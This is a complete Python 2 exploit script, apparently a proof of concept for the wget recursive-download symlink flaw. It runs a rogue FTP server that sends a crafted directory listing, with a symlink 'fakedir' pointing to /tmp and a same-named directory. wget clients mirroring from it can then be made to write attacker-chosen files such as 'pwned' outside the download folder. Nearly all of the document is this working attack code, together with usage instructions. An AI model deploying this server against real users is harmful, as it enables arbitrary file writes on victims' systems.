#@name   wget-symlink_attack_exploit.py
#@author Yaseng <yaseng@uauc.net >
#@desc   server:python wget-symlink_attack_exploit.py   wget client: wget -m  ftp://127.0.0.1
import socket, threading, os, sys, time
import hashlib, platform, stat

listen_ip = "127.0.0.1"
listen_port = 21
conn_list = []
root_dir = "./home"
max_connections = 500
conn_timeout = 120
 

class FtpConnection(threading.Thread):
    def __init__(self, fd):
        threading.Thread.__init__(self)
        self.fd = fd
        self.running = True
        self.setDaemon(True)
        self.alive_time = time.time()
        self.option_utf8 = False
        self.identified = False
        self.option_pasv = True
        self.username = ""
    def process(self, cmd, arg):
        cmd = cmd.upper();
        if self.option_utf8:
            arg = unicode(arg, "utf8").encode(sys.getfilesystemencoding())
        print "<<", cmd, arg, self.fd
        # Ftp Command
        if cmd == "BYE" or cmd == "QUIT":
            if os.path.exists(root_dir + "/xxftp.goodbye"):
                self.message(221, open(root_dir + "/xxftp.goodbye").read())
            else:
                self.message(221, "Bye!")
            self.running = False
            return
        elif cmd == "USER":
            # Set Anonymous User
            if arg == "": arg = "anonymous"
            for c in arg:
                if not c.isalpha() and not c.isdigit() and c != "_":
                    self.message(530, "Incorrect username.")
                    return
            self.username = arg
            self.home_dir = root_dir + "/" + self.username
            self.curr_dir = "/"
            self.curr_dir, self.full_path, permission, self.vdir_list, \
                limit_size, is_virtual = self.parse_path("/")

            self.identified = True
            self.message(230, "Identified!")
            return
        elif cmd == "PASS":
            if open(self.pass_path).read() == hashlib.md5(arg).hexdigest():
                self.message(230, "Identified!")
                self.identified = True
            else:
                self.message(530, "Not identified!")
                self.identified = False
            return
        elif not self.identified:
            self.message(530, "Please login with USER and PASS.")
            return

        self.alive_time = time.time()
        finish = True
        if cmd == "NOOP":
            self.message(200, "ok")
        elif cmd == "TYPE":
            self.message(200, "ok")
        elif cmd == "SYST":
            self.message(200, "UNIX")
        elif cmd == "EPSV" or cmd == "PASV":
            self.option_pasv = True
            try:
                self.data_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.data_fd.bind((listen_ip, 0))
                self.data_fd.listen(1)
                ip, port = self.data_fd.getsockname()
                if cmd == "EPSV":
                    self.message(229, "Entering Extended Passive Mode (|||" + str(port) + "|)")
                else:
                    ipnum = socket.inet_aton(ip)
                    self.message(227, "Entering Passive Mode (%s,%u,%u)." % 
                        (",".join(ip.split(".")), (port >> 8 & 0xff), (port & 0xff)))
            except:
                self.message(500, "failed to create data socket.")
        elif cmd == "EPRT":
            self.message(500, "implement EPRT later...")
        elif cmd == "PORT":
            self.option_pasv = False
            self.data_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s = arg.split(",")
            self.data_ip = ".".join(s[:4])
            self.data_port = int(s[4]) * 256 + int(s[5])
            self.message(200, "ok")
        elif cmd == "PWD" or cmd == "XPWD":
            if self.curr_dir == "": self.curr_dir = "/"
            self.message(257, '"' + self.curr_dir + '"')
        elif cmd == "LIST" or cmd == "NLST":
                if arg != "" and arg[0] == "-": arg = ""
                if self.curr_dir.find("aked") > 0 :
                 buf="-rwx------ 1 root root 21 Aug 29 2013 pwned\r\n"
                else:
                 buf = "lrwxrwxrwx 1 root root 33 Oct 11 2013 fakedir -> /tmp\r\n"
                 buf += "drwxrwxr-x 15 root root 4096 Oct 11 2013 fakedir\r\n"
                poc = "total \r\n" + buf
                poc = unicode(poc, sys.getfilesystemencoding()).encode("utf8")
                self.message(150, "Opening ASCII mode data connection for /bin/ls\r\n")
                self.establish()
                self.data_fd.send(poc)
 
                # self.data_fd.send("xx")
                self.message(226, " Transfer complete.\r\n")
                self.data_fd.close()
                self.data_fd = 0
                
                        
        elif cmd == "REST":
            self.file_pos = int(arg)
            self.message(250, "ok")
        elif cmd == "FEAT":
            features = "211-Features:\r\nSITES\r\nEPRT\r\nEPSV\r\nMDTM\r\nPASV\r\n"\
                "REST STREAM\r\nSIZE\r\nUTF8\r\n211 End\r\n"
            self.fd.send(features)
        elif cmd == "OPTS":
            arg = arg.upper()
            if arg == "UTF8 ON":
                self.option_utf8 = True
                self.message(200, "ok")
            elif arg == "UTF8 OFF":
                self.option_utf8 = False
                self.message(200, "ok")
            else:
                self.message(500, "unrecognized option")
        elif cmd == "CDUP":
            finish = False
            arg = ".."
        else:
            finish = False
        if finish: return
        # Parse argument ( It's a path )
        if arg == "":
            self.message(500, "where's my argument?")
            return
        remote, local, permission, vdir_list, limit_size, is_virtual = \
            self.parse_path(arg)
        # can not do anything to virtual directory
        if is_virtual: permission = "none"
        can_read, can_write, can_modify = "read" in permission, "write" in permission, "modify" in permission
        newpath = local
        try:
            if cmd == "CWD":
                if 1:
                    self.curr_dir = remote
                    self.full_path = newpath
                    self.message(250, '"' + remote + '"')
                else:
                    self.message(550, "failed")
            elif cmd == "MDTM":
                if os.path.exists(newpath):
                    self.message(213, time.strftime("%Y%m%d%I%M%S", time.localtime(
                        os.path.getmtime(newpath))))
                else:
                    self.message(550, "failed")
            elif cmd == "SIZE":
                self.message(231, os.path.getsize(newpath))
            elif cmd == "XMKD" or cmd == "MKD":
                if not can_modify:
                    self.message(550, "permission denied.")
                    return
                os.mkdir(newpath)
                self.message(250, "ok")
            elif cmd == "RNFR":
                if not can_modify:
                    self.message(550, "permission denied.")
                    return
                self.temp_path = newpath
                self.message(350, "rename from " + remote)
            elif cmd == "RNTO":
                os.rename(self.temp_path, newpath)
                self.message(250, "RNTO to " + remote)
            elif cmd == "XRMD" or cmd == "RMD":
                if not can_modify:
                    self.message(550, "permission denied.")
                    return
                os.rmdir(newpath)
                self.message(250, "ok")
            elif cmd == "DELE":
                if not can_modify:
                    self.message(550, "permission denied.")
                    return
                os.remove(newpath)
                self.message(250, "ok")
            elif cmd == "RETR":
                self.establish()
                #data="hello"
                self.message(150, "ok")
                f = open("1.txt", "rb")
                data = f.read(8192)
                f.close()
                self.data_fd.send(data)
                self.data_fd.close()
                self.data_fd = 0
                self.message(226, "ok")
            elif cmd == "STOR" or cmd == "APPE":
                if not can_write:
                    self.message(550, "permission denied.")
                    return
                if os.path.exists(newpath) and not can_modify:
                    self.message(550, "permission denied.")
                    return
                # Check space size remained!
                used_size = 0
                if limit_size > 0:
                    used_size = self.get_dir_size(os.path.dirname(newpath))
                if not self.establish(): return
                self.message(150, "ok")
                f = open(newpath, ("ab" if cmd == "APPE" else "wb"))
                while self.running:
                    self.alive_time = time.time()
                    data = self.data_fd.recv(8192)
                    if len(data) == 0: break
                    if limit_size > 0:
                        used_size = used_size + len(data)
                        if used_size > limit_size: break
                    f.write(data)
                f.close()
                self.data_fd.close()
                self.data_fd = 0
                if limit_size > 0 and used_size > limit_size:
                    self.message(550, "Exceeding user space limit: " + str(limit_size) + " bytes")
                else:
                    self.message(226, "ok")
            else:
                self.message(500, cmd + " not implemented")
        except:
            self.message(550, "failed.")
    
    def establish(self):
        if self.data_fd == 0:
            self.message(500, "no data connection")
            return False
        if self.option_pasv:
            fd = self.data_fd.accept()[0]
            self.data_fd.close()
            self.data_fd = fd
        else:
            try:
                self.data_fd.connect((self.data_ip, self.data_port))
            except:
                self.message(500, "failed to establish data connection")
                return False
        return True

    def read_virtual(self, path):
        vdir_list = []
        path = path + "/.xxftp/virtual"
        if os.path.isfile(path):
            for v in open(path, "r").readlines():
                items = v.split()
                items[1] = items[1].replace("$root", root_dir)
                vdir_list.append(items)
        return vdir_list

    def get_dir_size(self, folder):
        size = 0
        for path, dirs, files in os.walk(folder):
            for f in files:
                size += os.path.getsize(os.path.join(path, f))
        return size
    
    def read_size(self, path):
        size = 0
        path = path + "/.xxftp/size"
        if os.path.isfile(path):
            size = int(open(path, "r").readline())
        return size

    def read_permission(self, path):
        permission = "read,write,modify"
        path = path + "/.xxftp/permission"
        if os.path.isfile(path):
            permission = open(path, "r").readline()
        return permission
    
    def parse_path(self, path):
        if path == "": path = "."
        if path[0] != "/":
            path = self.curr_dir + "/" + path
        s = os.path.normpath(path).replace("\\", "/").split("/")
        local = self.home_dir
        # reset directory permission
        vdir_list = self.read_virtual(local)
        limit_size = self.read_size(local)
        permission = self.read_permission(local)
        remote = ""
        is_virtual = False
        for name in s:
            name = name.lstrip(".")
            if name == "": continue
            remote = remote + "/" + name
            is_virtual = False
            for v in vdir_list:
                if v[0] == name:
                    permission = v[2]
                    local = v[1]
                    limit_size = self.read_size(local)
                    is_virtual = True
            if not is_virtual: local = local + "/" + name
            vdir_list = self.read_virtual(local)
        return (remote, local, permission, vdir_list, limit_size, is_virtual)

    def run(self):
        ''' Connection Process '''
        try:
            if len(conn_list) > max_connections:
                self.message(500, "too many connections!")
                self.fd.close()
                self.running = False
                return
            self.message(220, "exploiting")
            # Command Loop
            line = ""
            while self.running:
                data = self.fd.recv(4096)
                if len(data) == 0: break
                line += data
                if line[-2:] != "\r\n": continue
                line = line[:-2]
                space = line.find(" ")
                if space == -1:
                    self.process(line, "")
                else:
                    self.process(line[:space], line[space + 1:])
                line = ""
        except:
            print "error", sys.exc_info()
        self.running = False
        self.fd.close()
        print "connection end", self.fd, "user", self.username

    def message(self, code, s):
        ''' Send Ftp Message '''
        s = str(s).replace("\r", "")
        ss = s.split("\n")
        if len(ss) > 1:
            r = (str(code) + "-") + ("\r\n" + str(code) + "-").join(ss[:-1])
            r += "\r\n" + str(code) + " " + ss[-1] + "\r\n"
        else:
            r = str(code) + " " + ss[0] + "\r\n"
        if self.option_utf8:
            r = unicode(r, sys.getfilesystemencoding()).encode("utf8")
        self.fd.send(r)

def server_listen():
    global conn_list
    global list_count
    list_coun=1
    listen_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listen_fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listen_fd.bind((listen_ip, listen_port))
    listen_fd.listen(1024)
    conn_lock = threading.Lock()
    print "ftpd is listening on ", listen_ip + ":" + str(listen_port)

    while True:
        conn_fd, remote_addr = listen_fd.accept()
        print "connection from ", remote_addr, "conn_list", len(conn_list)
        conn = FtpConnection(conn_fd)
        conn.start()

        conn_lock.acquire()
        conn_list.append(conn)
        # check timeout
        try:
            curr_time = time.time()
            for conn in conn_list:
                if int(curr_time - conn.alive_time) > conn_timeout:
                    if conn.running == True:
                        conn.fd.shutdown(socket.SHUT_RDWR)
                    conn.running = False
            conn_list = [conn for conn in conn_list if conn.running]
        except:
            print sys.exc_info()
        conn_lock.release()


def main():
    server_listen()
    
if __name__ == "__main__":
    main()
